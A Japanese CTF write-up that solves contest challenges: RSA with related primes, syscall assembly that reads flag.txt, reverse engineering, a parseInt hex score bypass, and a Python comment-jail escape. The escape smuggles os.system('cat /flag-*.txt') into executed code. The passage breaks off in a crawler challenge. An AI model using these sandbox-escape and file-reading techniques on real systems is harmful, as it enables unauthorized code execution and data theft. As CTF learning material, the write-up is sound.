Writer:b1uef0x / Webページ建造途中
今年も単独参加。別のCTFからの連戦で部屋も食生活もぐちゃぐちゃになっていた。
Welcomeを除いて12問正答、昨年と代わり映えしない結果で成長が見られない。Try Harder!
Using a safe prime makes RSA secure, doesn't it?
次のPythonプログラムとその出力が与えられる。
import os
from Crypto.Util.number import getPrime, isPrime
FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')
while True:
p = getPrime(512)
q = 2 * p + 1
if isPrime(q):
break
n = p * q
e = 65537
c = pow(m, e, n)
print(f"{n = }")
print(f"{c = }")
素数pに対してq=2p+1で作っているので、n=p(2p+1)の二次方程式を解けばpを求めることができる。
import math
from Crypto.Util.number import inverse, bytes_to_long, long_to_bytes
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
def quadratic_equation(a, b, c):
D = math.isqrt(b**2-4*a*c)
x1 = (-b+D)//(2*a)
x2 = (-b-D)//(2*a)
return x1, x2
#2x^2+x - N = 0
x1,x2 = quadratic_equation(2,1,-n);
for i in range(-10,10):
x = x1+i
if x*(2*x+1) == n :
p = x
q = (2*x+1)
e = 65537
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))
break
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}
RSA暗号に用いられる変数に特徴的な条件があるようですね...?
次のPythonプログラムとその出力が与えられる。
secret.pyimport gmpy2
p = # REDUCTED
q = # REDUCTED
x = # REDUCTED
chal.pyfrom Crypto.Util.number import bytes_to_long, isPrime
from secret import (
x,
p,
q,
) # x, p, q are secret values, please derive them from the provided other values.
import gmpy2
def is_square(n: int):
return gmpy2.isqrt(n) ** 2 == n
assert isPrime(p)
assert isPrime(q)
assert p != q
a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)
n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)
print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")
# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0
output.txtn = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289
丁寧に数式を整理していこう。
未知のp,q,xが与えられ、p,qは素数n=pqを使ってflagをRSAで暗号化している。またa=p-x, b=q-xを計算して、abを教えてくれる。
a,b,xの条件として、assert is_square(x) and is_square(a) and is_square(b)
で3数共に平方数となっていることと、a,bは次の数で割り切れることがわかっている。
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0
a,bの約数とわかっているこれらの数をA,Bとする。A,Bは共に素数である
A = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
B = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661
このときa,bはそれぞれA,Bを約数に持ち、かつis_square(a), is_square(b)である。A,Bは素数なのだから、abは少なくともA*A*B*Bを約数に持つ。
計算すると割り切れて、ab//(A*A*B*B) = 1002777341573073149099549678043369になる。1002777341573073149099549678043369をyafuで素因数分解した。
> ./yafu-x64.exe "factor(1002777341573073149099549678043369)"
fac: factoring 1002777341573073149099549678043369
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
Factoring composite base 31666659779223213...
fac: factoring 31666659779223213
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
Total factoring time = 0.0242 seconds
***factors found***
P1 = 3
P1 = 3
P3 = 173
P3 = 173
P3 = 199
P3 = 199
P12 = 306606827773
P12 = 306606827773
ans = 1
これでabは完全に素因数分解でき、a,bの組み合わせは高々16パターンになる。
さらにa=p-x, b=q-x, pq=nから、(a+x)(b+x)=nが得られ、16パターンのa,bを使って二次方程式を解けばxを計算できる。計算したxが平方数になっているかどうかで正しいxを判別できる。
以上の手順でソルバーを作成。
from Crypto.Util.number import bytes_to_long,long_to_bytes, inverse
import math
def quadratic_equation(a, b, c):
D = math.isqrt(b**2-4*a*c)
x1 = (-b+D)//(2*a)
x2 = (-b-D)//(2*a)
return x1, x2
def is_square(n):
return math.isqrt(n) ** 2 == n
A = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
B = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289
# a=Ai & is_square(a)
# b=Bj & is_square(b)
# because: ab=A*A*B*B...
factors = [3,173,199,306606827773] #ab//(A*A*B*B)'s factors , ./yafu-x64.exe "factor(1002777341573073149099549678043369)"
for i in range(16):
a = A*A
b = B*B
for j in range(4):
if i & 1<<j:
a *= factors[j]*factors[j]
else:
b *= factors[j]*factors[j]
# p=a+x
# q=b+x
# pq=(a+x)(b+x)=n
# x**2 +(a+b)x + ab = n
x1,x2 = quadratic_equation(1,a+b,ab-n)
if is_square(x1) :
x = x1
p = a+x
q = b+x
e = 65537
d = inverse(e, (p-1)*(q-1))
m = pow(cipher, d, n)
print(long_to_bytes(m))
break
ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}
Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!
Webコンソールでアセンブラ言語を書いていく問題。
- Only mov, push, syscall instructions can be used.
- The number of instructions should be less than 25.
アセンブラの条件として、命令はmov,push,syscallの3つしか使うことができない。では各問題を解いていこう。
mov rax, 0x123
mov rax, 0x123
push rax
スタック1つにHelloの5文字が入らないので2回に分けた。
syscallで書き出し(write)はrax=1、書き出し先のstdoutはrdi=1、書き出すバイト数はrdx=4ずつ、書き出すバイトの先頭アドレスはstackの位置なのでrsi=rspとした。
push 0x6c6c6548
mov rax, 1
mov rdi, 1
mov rdx, 4
mov rsi, rsp
syscall
push 0x6f
mov rax, 1
mov rdi, 1
mov rdx, 4
mov rsi, rsp
syscall
flag.txtをstdoutするには、syscallを3回呼んで、ファイルを開く(open)、ファイルを読む(read)、ファイルを書き出す(write)を行う必要がある。
Challenge.2で5文字のHelloを2回に分けたが、flag.txtを読み込むには0x00で区切られていない連続した8文字をstack上に作らないといけない。
pushで投入できるデータは4バイト32bitずつだが、プログラムは64bitで走っており、8バイトずつ積まれていく。よって、stackポインタのrspを増やして書き込み位置をずらす必要があった。
1つ目のブロックでは、flag.txtの文字列をstack上に連続するデータになるようにrspを書き換えながら積んだ。
2つ目のブロックではflag.txtを開く。syscallでファイルを開く(open)にはrax=2、読み込むファイル名はスタックに入っているのでrdi=rsp、あとはゼロ。成功するとraxにファイルの参照に必要なファイルディスクリプタの値が入る。
3つ目のブロックでは、flag.txtを読む。syscallでファイルを読む(read)にはrax=0、ファイルディスクリプタはrdi=rax(2つ目で返ったrax)、読み込むバイト数はrdx=0x34(何回か試してflagの長さを決めた)、読み込み先はstackなのでrsi=rspとする。
4つ目のブロックでは、スタック上に読み込んだflagをstdoutする。これはChallenge3と同じ。
以上で完成した。なお最初のpush 0x0はrspの値をいじるためにつけたもので、特に意味はない。
push 0x0
push 0x67616c66
mov rsp, 0x11feffc
push 0x7478742e
mov rsp, 0x11feff0
mov rax, 2
mov rsi, 0
mov rdi, rsp
mov rdx, 0
syscall
mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 0x34
syscall
mov rsi, rsp
mov rax, 1
mov rdi, 1
mov rdx, 0x34
syscall
ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}
見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?
cha.ll.engeというファイルが与えられる。
cha.ll.enge@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16
@.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1
; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [70 x i8], align 16
%3 = alloca [50 x i32], align 16
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i64, align 8
store i32 0, i32* %1, align 4
%7 = bitcast [50 x i32]* %3 to i8*
call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 16 %7, i8* align 16 bitcast ([50 x i32]* @__const.main.key to i8*), i64 200, i1 false)
%8 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0))
%9 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
%10 = call i32 (i8*, ...) @__isoc99_scanf(i8* noundef getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* noundef %9)
%11 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
%12 = call i64 @strlen(i8* noundef %11) #4
%13 = icmp eq i64 %12, 49
br i1 %13, label %14, label %48
14: ; preds = %0
store i32 0, i32* %4, align 4
store i32 0, i32* %5, align 4
store i64 0, i64* %6, align 8
br label %15
15: ; preds = %38, %14
%16 = load i64, i64* %6, align 8
%17 = icmp ult i64 %16, 49
br i1 %17, label %18, label %41
18: ; preds = %15
%19 = load i64, i64* %6, align 8
%20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19
%21 = load i8, i8* %20, align 1
%22 = sext i8 %21 to i32
%23 = load i64, i64* %6, align 8
%24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23
%25 = load i32, i32* %24, align 4
%26 = xor i32 %22, %25
%27 = load i64, i64* %6, align 8
%28 = add i64 %27, 1
%29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28
%30 = load i32, i32* %29, align 4
%31 = xor i32 %26, %30
store i32 %31, i32* %5, align 4
%32 = load i32, i32* %5, align 4
%33 = icmp eq i32 %32, 0
br i1 %33, label %34, label %37
34: ; preds = %18
%35 = load i32, i32* %4, align 4
%36 = add nsw i32 %35, 1
store i32 %36, i32* %4, align 4
br label %37
37: ; preds = %34, %18
br label %38
38: ; preds = %37
%39 = load i64, i64* %6, align 8
%40 = add i64 %39, 1
store i64 %40, i64* %6, align 8
br label %15, !llvm.loop !6
41: ; preds = %15
%42 = load i32, i32* %4, align 4
%43 = icmp eq i32 %42, 49
br i1 %43, label %44, label %47
44: ; preds = %41
%45 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
%46 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([22 x i8], [22 x i8]* @.str.2, i64 0, i64 0), i8* noundef %45)
store i32 0, i32* %1, align 4
br label %50
47: ; preds = %41
br label %48
48: ; preds = %47, %0
%49 = call i32 @puts(i8* noundef getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0))
store i32 1, i32* %1, align 4
br label %50
50: ; preds = %48, %44
%51 = load i32, i32* %1, align 4
ret i32 %51
}
ChatGPTにコードを投げて調べてもらう。
LLVM IRという中間言語のようだ。
このままChatGPTに解析
ChatGPTはflagの復号には失敗したが、隣り合うkey同士をxorして復号していることは読んでくれたので、あとは自分で作った。
key = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]
flag = ""
for i in range(len(key)-1):
flag += chr(key[i] ^ key[i+1])
print(flag)
ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}
使っていない関数がたくさんある……?
Ghidraで解析してもエントリーポイントがよくわからないLinux実行ファイルが与えられる。次のようなたくさんの関数が入っている。
void func_21670b38(undefined8 param_1,long param_2)
{
int iVar1;
iVar1 = strncmp((char *)((long)i + *(long *)(param_2 + 8)),
"oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5" + i,2);
if (iVar1 != 0) {
/* WARNING: Subroutine does not return */
exit(1);
}
i = i + 2;
return;
}
gdb pedaで実行ファイルを読み込んで、mainやfunc_********といった関数にすべてブレークポイントを張って、呼び出されたときにどうなっているか調べる。
gdbでは関数名でブレークポイントが張れるのでアドレスを知らなくてもいい。例えばb main
でmain関数にブレークポイントを張る。
また、次の関数が見つかる。
void func_f8db6e92(undefined8 param_1,long param_2)
{
size_t sVar1;
sVar1 = strlen(*(char **)(param_2 + 8));
if (sVar1 != 0x20) {
/* WARNING: Subroutine does not return */
exit(1);
}
return;
}
これは文字列の長さを見ており、0x20でなければexitするのでflagの長さは32文字。gdbでrun ********************************
として32文字の引数を与えて実行。
最初に呼び出された関数は次のものだ。
void func_9e540c6a(undefined8 param_1,long param_2)
{
int iVar1;
iVar1 = strncmp((char *)((long)i + *(long *)(param_2 + 8)),
"c0_d4yk261hbosje893w5igzfrvaumqlptx7n" + i,2);
if (iVar1 != 0) {
/* WARNING: Subroutine does not return */
exit(1);
}
i = i + 2;
return;
}
strncmpを呼び出すところでniでステップ実行すると、引数の文字列と関数中の先頭2文字を比較している。つまり最初の2文字はc0
。
引数をc0******************************にして再実行すると、次の関数に進む。
void func_21670b38(undefined8 param_1,long param_2)
{
int iVar1;
iVar1 = strncmp((char *)((long)i + *(long *)(param_2 + 8)),
"oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5" + i,2);
if (iVar1 != 0) {
/* WARNING: Subroutine does not return */
exit(1);
}
i = i + 2;
return;
}
strncmpまでステップ実行すると、oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5の3文字目から2文字、つまりnsを比較している。
引数はc0ns****************************になる。この調子で引数を2文字ずつ確定させながら実行を繰り返すと、関数が次の順で呼び出された。
func_e0db2736
func_f8db6e92
func_9e540c6a
func_21670b38
func_b548021f
func_c285f76d
func_74b2a53c
func_d902e81f
func_35efd7b6
func_1f5eba30
func_bae805f6
func_30b49da1
func_91e3f562
func_af41723c
func_69fd4a70
func_3d90c2fa
func_3b8e07a4
func_da53ce29
32文字がすべて確定すると判定をパス。
CONGRATULATIONS!
The flag is ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}
ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}
フラグチェック用のシステムコールを自作してみました
Ghidraで逆コンパイルするとデバッガー対策がたくさん入ってて回避が大変そうなので、動的解析ではなく静的解析でやってみる。
void FUN_00101309(void)
{
__pid_t __pid;
int iVar1;
long lVar2;
size_t sVar3;
long in_FS_OFFSET;
char local_98 [64];
char local_58 [72];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
lVar2 = ptrace(PTRACE_TRACEME,0,0,0);
if (lVar2 < 0) {
puts("don\'t debug me!");
/* WARNING: Subroutine does not return */
exit(1);
}
__pid = getpid();
iVar1 = kill(__pid,0x13);
if (iVar1 == -1) {
perror("kill");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("flag> ");
fgets(local_98,0x40,stdin);
iVar1 = __isoc99_sscanf(local_98,"ctf4b{%26s%[}]",local_58,local_98);
if (iVar1 != 2) {
puts("invalid format");
/* WARNING: Subroutine does not return */
exit(1);
}
sVar3 = strlen(local_58);
lVar2 = syscall(0xcafe,local_58,sVar3);
if ((int)lVar2 == 0) {
puts("WRONG");
}
else {
puts("CONGRATULATIONS!");
}
/* WARNING: Subroutine does not return */
exit(0);
}
lVar2 = syscall(0xcafe,local_58,sVar3);
で判定をしているようだが、0xcafeのsyscallが自作のシステムコールだろう。中身はおそらく以下の関数。
undefined8 FUN_00101737(char *param_1)
{
size_t sVar1;
undefined8 uVar2;
void *pvVar3;
ulong local_28;
long local_20;
sVar1 = strlen(param_1);
if (sVar1 == 0x1a) {
for (local_28 = 0; sVar1 = strlen(&DAT_00104030), local_28 < sVar1; local_28 = local_28 + 1) {
(&DAT_00104030)[local_28] = (char)local_28 + 0x20U ^ (&DAT_00104030)[local_28];
}
pvVar3 = FUN_00101497(&DAT_00104010,&DAT_00104030);
for (local_20 = 0; (param_1[local_20] != '\0' && (*(char *)(local_20 + (long)pvVar3) != '\0'));
local_20 = local_20 + 1) {
if (param_1[local_20] != *(char *)(local_20 + (long)pvVar3)) {
return 0;
}
}
uVar2 = 1;
}
else {
uVar2 = 0;
}
return uVar2;
}
void * FUN_00101497(char *param_1,char *param_2)
{
size_t __size;
void *pvVar1;
size_t sVar2;
long in_FS_OFFSET;
ulong local_158;
ulong local_150;
ulong local_148;
ulong local_140;
ulong local_138;
ulong local_130;
byte local_118 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
__size = strlen(param_1);
pvVar1 = malloc(__size);
sVar2 = strlen(param_2);
for (local_158 = 0; local_158 < 0x100; local_158 = local_158 + 1) {
local_118[local_158] = (byte)local_158;
}
local_148 = 0;
for (local_150 = 0; local_150 < 0x100; local_150 = local_150 + 1) {
local_148 = (ulong)((int)param_2[local_150 % (ulong)(long)(int)sVar2] +
(uint)local_118[local_150] + (int)local_148 & 0xff);
FUN_00101463(local_118 + local_150,local_118 + local_148);
}
local_140 = 0;
local_138 = 0;
for (local_130 = 0; local_130 < __size; local_130 = local_130 + 1) {
local_140 = (ulong)((int)local_140 + 1U & 0xff);
local_138 = (ulong)((int)local_138 + (uint)local_118[local_140] & 0xff);
FUN_00101463(local_118 + local_140,local_118 + local_138);
*(byte *)(local_130 + (long)pvVar1) =
local_118[(int)(uint)(byte)(local_118[local_138] + local_118[local_140])] ^
param_1[local_130];
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return pvVar1;
}
void FUN_00101463(undefined *param_1,undefined *param_2)
{
undefined uVar1;
uVar1 = *param_1;
*param_1 = *param_2;
*param_2 = uVar1;
return;
}
また関数中で読まれているDATのデータは次の通り。
DAT_00104010 = A5 D2 BC 02 B2 7C 86 38 17 B1 38 C6 E4 5C 1F A0 9D 96 D1 F0 4B A6 A6 5C 64 B7
DAT_00104030 = 43 55 44 17 46 1F 14 17 1A 1D
いつもなら人力で関数を見やすく加工するところだが、上記を一式ChatGPTに投げてc言語として見やすくしてもらおう。以下ChatGPTの出力の抜粋。
暗号化アルゴリズムがRC4であることまで見抜いてくれた。DAT_00104010が暗号データでDAT_00104030がRC4の暗号鍵となっているが、DAT_00104030は次の処理で変換されている。
for (size_t i = 0; i < strlen(DAT_00104030); i++) {
DAT_00104030[i] = (char)i + 0x20U ^ DAT_00104030[i];
}
この処理を実行して得られた63 74 66 34 62 3a 32 30 32 34
を暗号鍵として、CyberChefでRC4を復号した。
ctf4b{p7r4c3_c4n_3mul4t3_sysc4ll}
https://getrank.beginners.seccon.games
数字を選んでscoreを増やしてGet Rankを押すと現在のランキングが出る。scoreの計算自体はクライアント側の以下のスクリプトで処理されているのでどんな値でも設定できる。
main.ts let score = 0;
let numberToGuess = genNumber();
function genNumber() {
return Math.floor(Math.random() * 10);
}
function checkGuess() {
const userGuess = document.getElementById("guessInput").value;
const result = document.getElementById("result");
const scoreElement = document.getElementById("score");
if (userGuess == numberToGuess) {
result.textContent = "Correct!";
score++;
numberToGuess = genNumber();
} else {
result.textContent = "Incorrect. Try again.";
}
scoreElement.textContent = score;
}
function getRank() {
const rankElement = document.getElementById("rank");
const messageElement = document.getElementById("message");
fetch("/", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ input: `${score}` }),
})
.then((response) => response.json())
.then((data) => {
rankElement.textContent = data.rank ?? "-1";
messageElement.textContent =
data.message ?? "Error occurred.";
})
.catch((error) => {
rankElement.textContent = "-1";
messageElement.textContent = "Error occurred.";
console.error(error);
});
}
サーバー側のtsファイルを以下に示す。
import fastify, { FastifyRequest } from "fastify";
import fs from "fs";
const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];
type Res = {
rank: number;
message: string;
};
function ranking(score: number): Res {
const getRank = (score: number) => {
const rank = RANKING.findIndex((r) => score > r);
return rank === -1 ? RANKING.length + 1 : rank + 1;
};
const rank = getRank(score);
if (rank === 1) {
return {
rank,
message: process.env.FLAG || "fake{fake_flag}",
};
} else {
return {
rank,
message: `You got rank ${rank}!`,
};
}
}
function chall(input: string): Res {
if (input.length > 300) {
return {
rank: -1,
message: "Input too long",
};
}
let score = parseInt(input);
if (isNaN(score)) {
return {
rank: -1,
message: "Invalid score",
};
}
if (score > 10 ** 255) {
// hmm...your score is too big?
// you need a handicap!
for (let i = 0; i < 100; i++) {
score = Math.floor(score / 10);
}
}
return ranking(score);
}
const server = fastify();
server.get("/", (_, res) => {
res.type("text/html").send(fs.readFileSync("public/index.html"));
});
server.post(
"/",
async (req: FastifyRequest<{ Body: { input: string } }>, res) => {
const { input } = req.body;
const result = chall(input);
res.type("application/json").send(result);
}
);
server.listen(
{ host: "0.0.0.0", port: Number(process.env.PORT ?? 3000) },
(err, address) => {
if (err) {
console.error(err);
process.exit(1);
}
console.log(`Server listening at ${address}`);
}
);
ランキングはRANKING = [10 ** 255, 1000, 100, 10, 1, 0];
で決まり、1位を取ってflagを得るには10**255より大きなscoreが必要。
chall関数で与えられたscoreがフィルタされている。
Input too long
でエラー。isNaN(score)
で評価して数値でなければInvalid score
でエラー。10**255より大きいと10**100分の1にされてしまう。Infinityや指数表記1e+1000などはparseIntを通過できず、割り算されても10**255になるように355桁以上にすると300桁の制限に引っかかる。
答えはparseIntの仕様で、文字列が0xで始まると16進数で評価される。よって、0xffff....ffffの300桁を入れれば、ペナルティで10**100分の1されても10**255より大きくなる。
適当にコンソールを開いてscore="0xffff....fffff"にしてGet Rankを実行するとflagを取れる。
ctf4b{15_my_5c0r3_700000_b1g?}
アンチウィルスのシグネチャを読んだことはありますか?
※サーバにアクセスしなくても解けます
https://clamre.beginners.seccon.games
flagをチェックするページが与えられる。ソースコードは以下の通り。
server.py#!/usr/bin/env python3
from flask import Flask, request, render_template
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import tempfile
import subprocess
app = Flask(__name__)
limitter = Limiter(
get_remote_address,
app=app,
default_limits=["10 per second"],
)
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/", methods=["POST"])
def upload_file():
if "file" not in request.files:
return "No file part", 400
file = request.files["file"]
if file.filename == "":
return "No selected file", 400
if file:
with tempfile.NamedTemporaryFile() as tmp:
path = tmp.name
file.save(path)
command = [
"clamscan",
"-z",
"--database=/var/www/flag.ldb",
"--no-summary",
path,
]
try:
result = (
subprocess.run(
command,
capture_output=True,
text=True,
)
.stdout.strip("\n")
.split(" ")
)
if len(result) == 3:
matched = result[1]
return render_template("result.html", matched=matched)
else:
return render_template("result.html", matched=None)
except Exception as e:
return f"Something went wrong: {e}", 500
return "Something went wrong", 500
if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)
flag.ldbClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
server.pyのコマンド実行を見ると、clamscanとflag.ldbで入力データを評価している。
正規表現をパスするflag文字列を復元すればいい。バイト表記になっているASCII文字をもとに戻す。
((ctf)(4)(b)({B)(r)(3)\3(k1)(ng)(_)\3(l)\11\10(Th)\7\10(H0)(u)(5)\7\10(R)\14\11\7(5)})
\nは()で囲まれたグループを参照しており、全体を囲う()を\1として、左から順番に数えていく。\nを対応するグループの()で置換して、()を外せばflagになる。
ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}
コメントには注意しなきゃ!
nc commentator.beginners.seccon.games 4444
解けなかった問題。raw_unicode_escapeを使い、Unicodeの改行コード\u000aや\u2028などを使うところまでは試行したが、適用までできなかった問題である。
必要なのはcoding: raw_unicode_escape
を入力して# coding: raw_unicode_escape
で文字コード指定することだった。# coding:
を使わないPythonばかり書いていて思いつかなかった。
$ nc commentator.beginners.seccon.games 4444
_ _ __
___ ___ _ __ ___ _ __ ___ ___ _ __ | |_ __ _| |_ ___ _ __ _ \ \
/ __/ _ \| '_ ` _ \| '_ ` _ \ / _ \ '_ \| __/ _` | __/ _ \| '__| (_) | |
| (_| (_) | | | | | | | | | | | __/ | | | || (_| | || (_) | | _ | |
\___\___/|_| |_| |_|_| |_| |_|\___|_| |_|\__\__,_|\__\___/|_| (_) | |
/_/
---------------------------------------------------------------------------
Enter your Python code (ends with __EOF__)
>>> coding: raw_unicode_escape
>>> \u000aimport os
>>> \u000aos.system("ls /")
>>> \u000aos.system("cat /flag-*.txt")
>>> __EOF__
app
bin
boot
dev
etc
flag-437541b5d9499db505f005890ed38f0e.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}thx :)
adminのみflagを取得できる認可サービスを作りました!
https://wooorker.beginners.seccon.games
脆弱性報告bot
ログインページが与えられるがusernameもpasswordもわからない。
気になるのはレポート機能のほう。
レポートを送信すると、送信した文字列のパスにクローラーがアクセスを行う。クローラーのコードは次のようになっている。
/crawler/index.jsconst { chromium } = require('playwright');
const { v4: uuidv4 } = require("uuid");
const Redis = require("ioredis");
const connection = new Redis({
host: process.env.REDIS_HOST,
port: process.env.REDIS_PORT,
});
const ADMIN_USERNAME = process.env.ADMIN_USERNAME;
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD;
const APP_URL = process.env.APP_URL;
const crawl = async (path, ID) => {
const browser = await chromium.launch();
const page = await browser.newPage();
try {
// (If you set `login?next=/` as path in Report page, admin accesses `https://wooorker.quals.beginners.seccon.jp/login?next=/` here.)
const targetURL = APP_URL + path;
console.log("target url:", targetURL);
await page.goto(targetURL, {
